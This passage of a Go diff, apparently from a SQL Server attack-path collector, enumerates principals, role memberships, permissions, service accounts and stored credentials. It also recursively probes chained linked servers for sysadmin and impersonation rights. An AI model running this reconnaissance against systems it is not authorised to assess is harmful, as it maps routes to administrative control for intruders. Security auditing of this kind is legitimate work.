+ serverLoginMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i]
+ }
+
+ // Query to join database principals to server principals by SID
+ query := fmt.Sprintf(`
+ SELECT
+ dp.principal_id AS db_principal_id,
+ sp.name AS server_login_name,
+ sp.principal_id AS server_principal_id
+ FROM [%s].sys.database_principals dp
+ JOIN sys.server_principals sp ON dp.sid = sp.sid
+ WHERE dp.sid IS NOT NULL
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build principal map by principal_id
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var dbPrincipalID, serverPrincipalID int
+ var serverLoginName string
+
+ if err := rows.Scan(&dbPrincipalID, &serverLoginName, &serverPrincipalID); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[dbPrincipalID]; ok {
+ // Get the server login's ObjectIdentifier
+ if serverLogin, ok := serverLoginMap[serverPrincipalID]; ok {
+ principals[idx].ServerLogin = &types.ServerLoginRef{
+ ObjectIdentifier: serverLogin.ObjectIdentifier,
+ Name: serverLoginName,
+ PrincipalID: serverPrincipalID,
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabaseRoleMemberships gets role memberships for database principals
+func (c *Client) collectDatabaseRoleMemberships(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ query := fmt.Sprintf(`
+ SELECT
+ rm.member_principal_id,
+ rm.role_principal_id,
+ r.name AS role_name
+ FROM [%s].sys.database_role_members rm
+ JOIN [%s].sys.database_principals r ON rm.role_principal_id = r.principal_id
+ ORDER BY rm.member_principal_id
+ `, db.Name, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build principal map
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var memberID, roleID int
+ var roleName string
+
+ if err := rows.Scan(&memberID, &roleID, &roleName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[memberID]; ok {
+ membership := types.RoleMembership{
+ ObjectIdentifier: fmt.Sprintf("%s@%s\\%s", roleName, serverInfo.ObjectIdentifier, db.Name),
+ Name: roleName,
+ PrincipalID: roleID,
+ }
+ principals[idx].MemberOf = append(principals[idx].MemberOf, membership)
+ }
+
+ // Track members for role principals
+ if idx, ok := principalMap[roleID]; ok {
+ memberName := ""
+ if memberIdx, ok := principalMap[memberID]; ok {
+ memberName = principals[memberIdx].Name
+ }
+ principals[idx].Members = append(principals[idx].Members, memberName)
+ }
+ }
+
+ // Add implicit public role membership for all database users
+ // SQL Server has implicit membership in public role for all database principals
+ publicRoleOID := fmt.Sprintf("public@%s\\%s", serverInfo.ObjectIdentifier, db.Name)
+ userTypes := map[string]bool{
+ "SQL_USER": true,
+ "WINDOWS_USER": true,
+ "WINDOWS_GROUP": true,
+ "ASYMMETRIC_KEY_MAPPED_USER": true,
+ "CERTIFICATE_MAPPED_USER": true,
+ "EXTERNAL_USER": true,
+ "EXTERNAL_GROUPS": true,
+ }
+ for i := range principals {
+ // Only add for user types, not for roles
+ if userTypes[principals[i].TypeDescription] {
+ // Check if already a member of public
+ hasPublic := false
+ for _, m := range principals[i].MemberOf {
+ if m.Name == "public" {
+ hasPublic = true
+ break
+ }
+ }
+ if !hasPublic {
+ membership := types.RoleMembership{
+ ObjectIdentifier: publicRoleOID,
+ Name: "public",
+ PrincipalID: 0, // public role always has principal_id = 0 at database level
+ }
+ principals[i].MemberOf = append(principals[i].MemberOf, membership)
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabasePermissions gets explicit permissions for database principals
+func (c *Client) collectDatabasePermissions(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ query := fmt.Sprintf(`
+ SELECT
+ p.grantee_principal_id,
+ p.permission_name,
+ p.state_desc,
+ p.class_desc,
+ p.major_id,
+ COALESCE(pr.name, '') AS target_name
+ FROM [%s].sys.database_permissions p
+ LEFT JOIN [%s].sys.database_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'DATABASE_PRINCIPAL'
+ WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY')
+ ORDER BY p.grantee_principal_id
+ `, db.Name, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var granteeID, majorID int
+ var permName, stateDesc, classDesc, targetName string
+
+ if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &targetName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[granteeID]; ok {
+ perm := types.Permission{
+ Permission: permName,
+ State: stateDesc,
+ ClassDesc: classDesc,
+ }
+
+ if classDesc == "DATABASE_PRINCIPAL" && majorID > 0 {
+ perm.TargetPrincipalID = majorID
+ perm.TargetName = targetName
+ if targetIdx, ok := principalMap[majorID]; ok {
+ perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier
+ }
+ }
+
+ principals[idx].Permissions = append(principals[idx].Permissions, perm)
+ }
+ }
+
+ // Add predefined permissions for fixed database roles that aren't handled by createFixedRoleEdges
+ // These are implicit permissions that aren't stored in sys.database_permissions
+ // NOTE: db_owner and db_securityadmin permissions are NOT added here because
+ // createFixedRoleEdges already handles edge creation for those roles by name
+ fixedDatabaseRolePermissions := map[string][]string{
+ // db_owner - handled by createFixedRoleEdges, don't add CONTROL here
+ // db_securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY APPLICATION ROLE/ROLE here
+ }
+
+ for i := range principals {
+ if principals[i].IsFixedRole {
+ if perms, ok := fixedDatabaseRolePermissions[principals[i].Name]; ok {
+ for _, permName := range perms {
+ // Check if permission already exists (skip duplicates)
+ exists := false
+ for _, existingPerm := range principals[i].Permissions {
+ if existingPerm.Permission == permName {
+ exists = true
+ break
+ }
+ }
+ if !exists {
+ perm := types.Permission{
+ Permission: permName,
+ State: "GRANT",
+ ClassDesc: "DATABASE",
+ }
+ principals[i].Permissions = append(principals[i].Permissions, perm)
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectLinkedServers gets all linked server configurations with login mappings.
+// Each login mapping creates a separate LinkedServer entry (matching PowerShell behavior).
+func (c *Client) collectLinkedServers(ctx context.Context) ([]types.LinkedServer, error) {
+ // Use a single server-side SQL batch that recursively discovers linked servers
+ // through chained links, matching the PowerShell implementation.
+ // This discovers not just direct linked servers but also linked servers
+ // accessible through other linked servers (e.g., A -> B -> C).
+ query := `
+SET NOCOUNT ON;
+
+-- Create temp table for linked server discovery
+CREATE TABLE #mssqlhound_linked (
+ ID INT IDENTITY(1,1),
+ Level INT,
+ Path NVARCHAR(MAX),
+ SourceServer NVARCHAR(128),
+ LinkedServer NVARCHAR(128),
+ DataSource NVARCHAR(128),
+ Product NVARCHAR(128),
+ Provider NVARCHAR(128),
+ DataAccess BIT,
+ RPCOut BIT,
+ LocalLogin NVARCHAR(128),
+ UsesImpersonation BIT,
+ RemoteLogin NVARCHAR(128),
+ RemoteIsSysadmin BIT DEFAULT 0,
+ RemoteIsSecurityAdmin BIT DEFAULT 0,
+ RemoteCurrentLogin NVARCHAR(128),
+ RemoteIsMixedMode BIT DEFAULT 0,
+ RemoteHasControlServer BIT DEFAULT 0,
+ RemoteHasImpersonateAnyLogin BIT DEFAULT 0,
+ ErrorMsg NVARCHAR(MAX) NULL
+);
+
+-- Insert local server's linked servers (Level 0)
+INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut,
+ LocalLogin, UsesImpersonation, RemoteLogin)
+SELECT
+ 0,
+ @@SERVERNAME + ' -> ' + s.name,
+ @@SERVERNAME,
+ s.name,
+ s.data_source,
+ s.product,
+ s.provider,
+ s.is_data_access_enabled,
+ s.is_rpc_out_enabled,
+ COALESCE(sp.name, 'All Logins'),
+ ll.uses_self_credential,
+ ll.remote_name
+FROM sys.servers s
+INNER JOIN sys.linked_logins ll ON s.server_id = ll.server_id
+LEFT JOIN sys.server_principals sp ON ll.local_principal_id = sp.principal_id
+WHERE s.is_linked = 1;
+
+-- Declare all variables upfront (T-SQL has batch-level scoping)
+DECLARE @CheckID INT, @CheckLinkedServer NVARCHAR(128);
+DECLARE @CheckSQL NVARCHAR(MAX);
+DECLARE @CheckSQL2 NVARCHAR(MAX);
+DECLARE @LinkedServer NVARCHAR(128), @Path NVARCHAR(MAX);
+DECLARE @sql NVARCHAR(MAX);
+DECLARE @CurrentLevel INT;
+DECLARE @MaxLevel INT;
+DECLARE @RowsToProcess INT;
+DECLARE @PrivilegeResults TABLE (
+ IsSysadmin INT,
+ IsSecurityAdmin INT,
+ CurrentLogin NVARCHAR(128),
+ IsMixedMode INT,
+ HasControlServer INT,
+ HasImpersonateAnyLogin INT
+);
+DECLARE @ProcessedServers TABLE (ServerName NVARCHAR(128));
+
+-- Check privileges for Level 0 entries
+
+DECLARE check_cursor CURSOR FOR
+SELECT ID, LinkedServer FROM #mssqlhound_linked WHERE Level = 0;
+
+OPEN check_cursor;
+FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer;
+
+WHILE @@FETCH_STATUS = 0
+BEGIN
+ DELETE FROM @PrivilegeResults;
+
+ BEGIN TRY
+ SET @CheckSQL = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], ''
+ WITH RoleHierarchy AS (
+ SELECT
+ p.principal_id,
+ p.name AS principal_name,
+ CAST(p.name AS NVARCHAR(MAX)) AS path,
+ 0 AS level
+ FROM sys.server_principals p
+ WHERE p.name = SYSTEM_USER
+
+ UNION ALL
+
+ SELECT
+ r.principal_id,
+ r.name AS principal_name,
+ rh.path + '''' -> '''' + r.name,
+ rh.level + 1
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id
+ INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ WHERE rh.level < 10
+ ),
+ AllPermissions AS (
+ SELECT DISTINCT
+ sp.permission_name,
+ sp.state
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id
+ WHERE sp.state = ''''G''''
+ )
+ SELECT
+ IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin,
+ IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin,
+ SYSTEM_USER AS CurrentLogin,
+ CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''')
+ WHEN 1 THEN 0
+ WHEN 0 THEN 1
+ END AS IsMixedMode,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''CONTROL SERVER''''
+ ) THEN 1 ELSE 0 END AS HasControlServer,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''IMPERSONATE ANY LOGIN''''
+ ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin
+ '')';
+
+ INSERT INTO @PrivilegeResults
+ EXEC sp_executesql @CheckSQL;
+
+ UPDATE #mssqlhound_linked
+ SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults),
+ RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults),
+ RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults),
+ RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults),
+ RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults),
+ RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults)
+ WHERE ID = @CheckID;
+
+ END TRY
+ BEGIN CATCH
+ UPDATE #mssqlhound_linked
+ SET ErrorMsg = ERROR_MESSAGE()
+ WHERE ID = @CheckID;
+ END CATCH
+
+ FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer;
+END
+
+CLOSE check_cursor;
+DEALLOCATE check_cursor;
+
+-- Recursive discovery of chained linked servers
+SET @CurrentLevel = 0;
+SET @MaxLevel = 10;
+SET @RowsToProcess = 1;
+
+WHILE @RowsToProcess > 0 AND @CurrentLevel < @MaxLevel
+BEGIN
+ DECLARE process_cursor CURSOR FOR
+ SELECT DISTINCT LinkedServer, MIN(Path)
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel
+ AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers)
+ GROUP BY LinkedServer;
+
+ OPEN process_cursor;
+ FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path;
+
+ WHILE @@FETCH_STATUS = 0
+ BEGIN
+ BEGIN TRY
+ SET @sql = '
+ INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut,
+ LocalLogin, UsesImpersonation, RemoteLogin)
+ SELECT DISTINCT
+ ' + CAST(@CurrentLevel + 1 AS NVARCHAR) + ',
+ ''' + @Path + ' -> '' + s.name,
+ ''' + @LinkedServer + ''',
+ s.name,
+ s.data_source,
+ s.product,
+ s.provider,
+ s.is_data_access_enabled,
+ s.is_rpc_out_enabled,
+ COALESCE(sp.name, ''All Logins''),
+ ll.uses_self_credential,
+ ll.remote_name
+ FROM [' + @LinkedServer + '].[master].[sys].[servers] s
+ INNER JOIN [' + @LinkedServer + '].[master].[sys].[linked_logins] ll ON s.server_id = ll.server_id
+ LEFT JOIN [' + @LinkedServer + '].[master].[sys].[server_principals] sp ON ll.local_principal_id = sp.principal_id
+ WHERE s.is_linked = 1
+ AND ''' + @Path + ''' NOT LIKE ''%'' + s.name + '' ->%''
+ AND s.data_source NOT IN (
+ SELECT DISTINCT DataSource
+ FROM #mssqlhound_linked
+ WHERE DataSource IS NOT NULL
+ )';
+
+ EXEC sp_executesql @sql;
+ INSERT INTO @ProcessedServers VALUES (@LinkedServer);
+
+ END TRY
+ BEGIN CATCH
+ INSERT INTO @ProcessedServers VALUES (@LinkedServer);
+ END CATCH
+
+ FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path;
+ END
+
+ CLOSE process_cursor;
+ DEALLOCATE process_cursor;
+
+ -- Check privileges for newly discovered servers
+ DECLARE privilege_cursor CURSOR FOR
+ SELECT ID, LinkedServer
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel + 1
+ AND RemoteIsSysadmin IS NULL;
+
+ OPEN privilege_cursor;
+ FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer;
+
+ WHILE @@FETCH_STATUS = 0
+ BEGIN
+ DELETE FROM @PrivilegeResults;
+
+ BEGIN TRY
+ SET @CheckSQL2 = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], ''
+ WITH RoleHierarchy AS (
+ SELECT
+ p.principal_id,
+ p.name AS principal_name,
+ CAST(p.name AS NVARCHAR(MAX)) AS path,
+ 0 AS level
+ FROM sys.server_principals p
+ WHERE p.name = SYSTEM_USER
+
+ UNION ALL
+
+ SELECT
+ r.principal_id,
+ r.name AS principal_name,
+ rh.path + '''' -> '''' + r.name,
+ rh.level + 1
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id
+ INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ WHERE rh.level < 10
+ ),
+ AllPermissions AS (
+ SELECT DISTINCT
+ sp.permission_name,
+ sp.state
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id
+ WHERE sp.state = ''''G''''
+ )
+ SELECT
+ IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin,
+ IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin,
+ SYSTEM_USER AS CurrentLogin,
+ CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''')
+ WHEN 1 THEN 0
+ WHEN 0 THEN 1
+ END AS IsMixedMode,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''CONTROL SERVER''''
+ ) THEN 1 ELSE 0 END AS HasControlServer,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''IMPERSONATE ANY LOGIN''''
+ ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin
+ '')';
+
+ INSERT INTO @PrivilegeResults
+ EXEC sp_executesql @CheckSQL2;
+
+ UPDATE #mssqlhound_linked
+ SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults),
+ RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults),
+ RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults),
+ RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults),
+ RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults),
+ RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults)
+ WHERE ID = @CheckID;
+
+ END TRY
+ BEGIN CATCH
+ -- Continue on error
+ END CATCH
+
+ FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer;
+ END
+
+ CLOSE privilege_cursor;
+ DEALLOCATE privilege_cursor;
+
+ -- Count new unprocessed servers
+ SELECT @RowsToProcess = COUNT(DISTINCT LinkedServer)
+ FROM #mssqlhound_linked
+ WHERE Level = @CurrentLevel + 1
+ AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers);
+
+ SET @CurrentLevel = @CurrentLevel + 1;
+END
+
+-- Return all results
+SET NOCOUNT OFF;
+SELECT
+ Level,
+ Path,
+ SourceServer,
+ LinkedServer,
+ DataSource,
+ Product,
+ Provider,
+ DataAccess,
+ RPCOut,
+ LocalLogin,
+ UsesImpersonation,
+ RemoteLogin,
+ RemoteIsSysadmin,
+ RemoteIsSecurityAdmin,
+ RemoteCurrentLogin,
+ RemoteIsMixedMode,
+ RemoteHasControlServer,
+ RemoteHasImpersonateAnyLogin
+FROM #mssqlhound_linked
+ORDER BY Level, Path;
+
+DROP TABLE #mssqlhound_linked;
+`
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var servers []types.LinkedServer
+
+ for rows.Next() {
+ var s types.LinkedServer
+ var level int
+ var path, sourceServer, localLogin, remoteLogin, remoteCurrentLogin sql.NullString
+ var dataAccess, rpcOut, usesImpersonation sql.NullBool
+ var isSysadmin, isSecurityAdmin, isMixedMode, hasControlServer, hasImpersonateAnyLogin sql.NullBool
+
+ err := rows.Scan(
+ &level,
+ &path,
+ &sourceServer,
+ &s.Name,
+ &s.DataSource,
+ &s.Product,
+ &s.Provider,
+ &dataAccess,
+ &rpcOut,
+ &localLogin,
+ &usesImpersonation,
+ &remoteLogin,
+ &isSysadmin,
+ &isSecurityAdmin,
+ &remoteCurrentLogin,
+ &isMixedMode,
+ &hasControlServer,
+ &hasImpersonateAnyLogin,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ s.IsLinkedServer = true
+ s.Path = path.String
+ s.SourceServer = sourceServer.String
+ s.LocalLogin = localLogin.String
+ s.RemoteLogin = remoteLogin.String
+ if dataAccess.Valid {
+ s.IsDataAccessEnabled = dataAccess.Bool
+ }
+ if rpcOut.Valid {
+ s.IsRPCOutEnabled = rpcOut.Bool
+ }
+ if usesImpersonation.Valid {
+ s.IsSelfMapping = usesImpersonation.Bool
+ s.UsesImpersonation = usesImpersonation.Bool
+ }
+ if isSysadmin.Valid {
+ s.RemoteIsSysadmin = isSysadmin.Bool
+ }
+ if isSecurityAdmin.Valid {
+ s.RemoteIsSecurityAdmin = isSecurityAdmin.Bool
+ }
+ if remoteCurrentLogin.Valid {
+ s.RemoteCurrentLogin = remoteCurrentLogin.String
+ }
+ if isMixedMode.Valid {
+ s.RemoteIsMixedMode = isMixedMode.Bool
+ }
+ if hasControlServer.Valid {
+ s.RemoteHasControlServer = hasControlServer.Bool
+ }
+ if hasImpersonateAnyLogin.Valid {
+ s.RemoteHasImpersonateAnyLogin = hasImpersonateAnyLogin.Bool
+ }
+
+ servers = append(servers, s)
+ }
+
+ return servers, nil
+}
+
+// checkLinkedServerPrivileges is no longer needed as privilege checking
+// is now integrated into the recursive collectLinkedServers() query.
+
+// collectServiceAccounts gets SQL Server service account information
+func (c *Client) collectServiceAccounts(ctx context.Context, info *types.ServerInfo) error {
+ // Try sys.dm_server_services first (SQL Server 2008 R2+)
+ // Note: Exclude SQL Server Agent to match PowerShell behavior
+ query := `
+ SELECT
+ servicename,
+ service_account,
+ startup_type_desc
+ FROM sys.dm_server_services
+ WHERE servicename LIKE 'SQL Server%' AND servicename NOT LIKE 'SQL Server Agent%'
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // DMV might not exist or user doesn't have permission
+ // Fall back to registry read
+ return c.collectServiceAccountFromRegistry(ctx, info)
+ }
+ defer rows.Close()
+
+ foundService := false
+ for rows.Next() {
+ var serviceName, serviceAccount, startupType sql.NullString
+
+ if err := rows.Scan(&serviceName, &serviceAccount, &startupType); err != nil {
+ continue
+ }
+
+ if serviceAccount.Valid && serviceAccount.String != "" {
+ if !foundService {
+ c.logVerbose("Identified service account in sys.dm_server_services")
+ foundService = true
+ }
+
+ sa := types.ServiceAccount{
+ Name: serviceAccount.String,
+ ServiceName: serviceName.String,
+ StartupType: startupType.String,
+ }
+
+ // Determine service type
+ if strings.Contains(serviceName.String, "Agent") {
+ sa.ServiceType = "SQLServerAgent"
+ } else {
+ sa.ServiceType = "SQLServer"
+ c.logVerbose("SQL Server service account: %s", serviceAccount.String)
+ }
+
+ info.ServiceAccounts = append(info.ServiceAccounts, sa)
+ }
+ }
+
+ // If no results, try registry fallback
+ if len(info.ServiceAccounts) == 0 {
+ return c.collectServiceAccountFromRegistry(ctx, info)
+ }
+
+ // Log if adding machine account
+ for _, sa := range info.ServiceAccounts {
+ if strings.HasSuffix(sa.Name, "$") {
+ c.logVerbose("Adding service account: %s", sa.Name)
+ }
+ }
+
+ return nil
+}
+
+// collectServiceAccountFromRegistry tries to get service account from registry via xp_instance_regread
+func (c *Client) collectServiceAccountFromRegistry(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ DECLARE @ServiceAccount NVARCHAR(256)
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SYSTEM\CurrentControlSet\Services\MSSQLSERVER',
+ N'ObjectName',
+ @ServiceAccount OUTPUT
+ SELECT @ServiceAccount AS ServiceAccount
+ `
+
+ var serviceAccount sql.NullString
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount)
+ if err != nil || !serviceAccount.Valid {
+ // Try named instance path
+ query = `
+ DECLARE @ServiceAccount NVARCHAR(256)
+ DECLARE @ServiceKey NVARCHAR(256)
+ SET @ServiceKey = N'SYSTEM\CurrentControlSet\Services\MSSQL$' + CAST(SERVERPROPERTY('InstanceName') AS NVARCHAR)
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ @ServiceKey,
+ N'ObjectName',
+ @ServiceAccount OUTPUT
+ SELECT @ServiceAccount AS ServiceAccount
+ `
+ err = c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount)
+ }
+
+ if err == nil && serviceAccount.Valid && serviceAccount.String != "" {
+ sa := types.ServiceAccount{
+ Name: serviceAccount.String,
+ ServiceName: "SQL Server",
+ ServiceType: "SQLServer",
+ }
+ info.ServiceAccounts = append(info.ServiceAccounts, sa)
+ }
+
+ return nil
+}
+
+// collectCredentials gets server-level credentials
+func (c *Client) collectCredentials(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ credential_id,
+ name,
+ credential_identity,
+ create_date,
+ modify_date
+ FROM sys.credentials
+ ORDER BY credential_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // User might not have permission to view credentials
+ return nil
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var cred types.Credential
+
+ err := rows.Scan(
+ &cred.CredentialID,
+ &cred.Name,
+ &cred.CredentialIdentity,
+ &cred.CreateDate,
+ &cred.ModifyDate,
+ )
+ if err != nil {
+ continue
+ }
+
+ info.Credentials = append(info.Credentials, cred)
+ }
+
+ return nil
+}
+
+// collectLoginCredentialMappings gets credential mappings for logins
+func (c *Client) collectLoginCredentialMappings(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ // Query to get login-to-credential mappings
+ query := `
+ SELECT
+ sp.principal_id,
+ c.credential_id,
+ c.name AS credential_name,
+ c.credential_identity
+ FROM sys.server_principals sp
+ JOIN sys.server_principal_credentials spc ON sp.principal_id = spc.principal_id
+ JOIN sys.credentials c ON spc.credential_id = c.credential_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // sys.server_principal_credentials might not exist in older versions
+ return nil
+ }
+ defer rows.Close()
+
+ // Build principal map
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+
+ for rows.Next() {
+ var principalID, credentialID int
+ var credName, credIdentity string
+
+ if err := rows.Scan(&principalID, &credentialID, &credName, &credIdentity); err != nil {
+ continue
+ }
+
+ if principal, ok := principalMap[principalID]; ok {
+ principal.MappedCredential = &types.Credential{
+ CredentialID: credentialID,
+ Name: credName,
+ CredentialIdentity: credIdentity,
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectProxyAccounts gets SQL Agent proxy accounts
+func (c *Client) collectProxyAccounts(ctx context.Context, info *types.ServerInfo) error {
+ // Query for proxy accounts with their credentials and subsystems
+ query := `
+ SELECT
+ p.proxy_id,
+ p.name AS proxy_name,
+ p.credential_id,
+ c.name AS credential_name,
+ c.credential_identity,
+ p.enabled,
+ ISNULL(p.description, '') AS description
+ FROM msdb.dbo.sysproxies p
+ JOIN sys.credentials c ON p.credential_id = c.credential_id
+ ORDER BY p.proxy_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // User might not have access to msdb
+ return nil
+ }
+ defer rows.Close()
+
+ proxies := make(map[int]*types.ProxyAccount)
+
+ for rows.Next() {
+ var proxy types.ProxyAccount
+ var enabled int
+
+ err := rows.Scan(
+ &proxy.ProxyID,
+ &proxy.Name,
+ &proxy.CredentialID,
+ &proxy.CredentialName,
+ &proxy.CredentialIdentity,
+ &enabled,
+ &proxy.Description,
+ )
+ if err != nil {
+ continue
+ }
+
+ proxy.Enabled = enabled == 1
+ proxies[proxy.ProxyID] = &proxy
+ }
+ rows.Close()
+
+ // Get subsystems for each proxy
+ subsystemQuery := `
+ SELECT
+ ps.proxy_id,
+ s.subsystem
+ FROM msdb.dbo.sysproxysubsystem ps
+ JOIN msdb.dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id
+ `
+
+ rows, err = c.DBW().QueryContext(ctx, subsystemQuery)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var proxyID int
+ var subsystem string
+ if err := rows.Scan(&proxyID, &subsystem); err != nil {
+ continue
+ }
+ if proxy, ok := proxies[proxyID]; ok {
+ proxy.Subsystems = append(proxy.Subsystems, subsystem)
+ }
+ }
+ }
+
+ // Get login authorizations for each proxy
+ loginQuery := `
+ SELECT
+ pl.proxy_id,
+ sp.name AS login_name
+ FROM msdb.dbo.sysproxylogin pl
+ JOIN sys.server_principals sp ON pl.sid = sp.sid
+ `
+
+ rows, err = c.DBW().QueryContext(ctx, loginQuery)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var proxyID int
+ var loginName string
+ if err := rows.Scan(&proxyID, &loginName); err != nil {
+ continue
+ }
+ if proxy, ok := proxies[proxyID]; ok {
+ proxy.Logins = append(proxy.Logins, loginName)
+ }
+ }
+ }
+
+ // Add all proxies to server info
+ for _, proxy := range proxies {
+ info.ProxyAccounts = append(info.ProxyAccounts, *proxy)
+ }
+
+ return nil
+}
+
+// collectDBScopedCredentials gets database-scoped credentials for a database
+func (c *Client) collectDBScopedCredentials(ctx context.Context, db *types.Database) error {
+ query := fmt.Sprintf(`
+ SELECT
+ credential_id,
+ name,
+ credential_identity,
+ create_date,
+ modify_date
+ FROM [%s].sys.database_scoped_credentials
+ ORDER BY credential_id
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ // sys.database_scoped_credentials might not exist (pre-SQL 2016) or user lacks permission
+ return nil
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var cred types.DBScopedCredential
+
+ err := rows.Scan(
+ &cred.CredentialID,
+ &cred.Name,
+ &cred.CredentialIdentity,
+ &cred.CreateDate,
+ &cred.ModifyDate,
+ )
+ if err != nil {
+ continue
+ }
+
+ db.DBScopedCredentials = append(db.DBScopedCredentials, cred)
+ }
+
+ return nil
+}
+
+// collectAuthenticationMode gets the authentication mode (Windows-only vs Mixed)
+func (c *Client) collectAuthenticationMode(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ CASE SERVERPROPERTY('IsIntegratedSecurityOnly')
+ WHEN 1 THEN 0 -- Windows Authentication only
+ WHEN 0 THEN 1 -- Mixed mode
+ END AS IsMixedModeAuthEnabled
+ `
+
+ var isMixed int
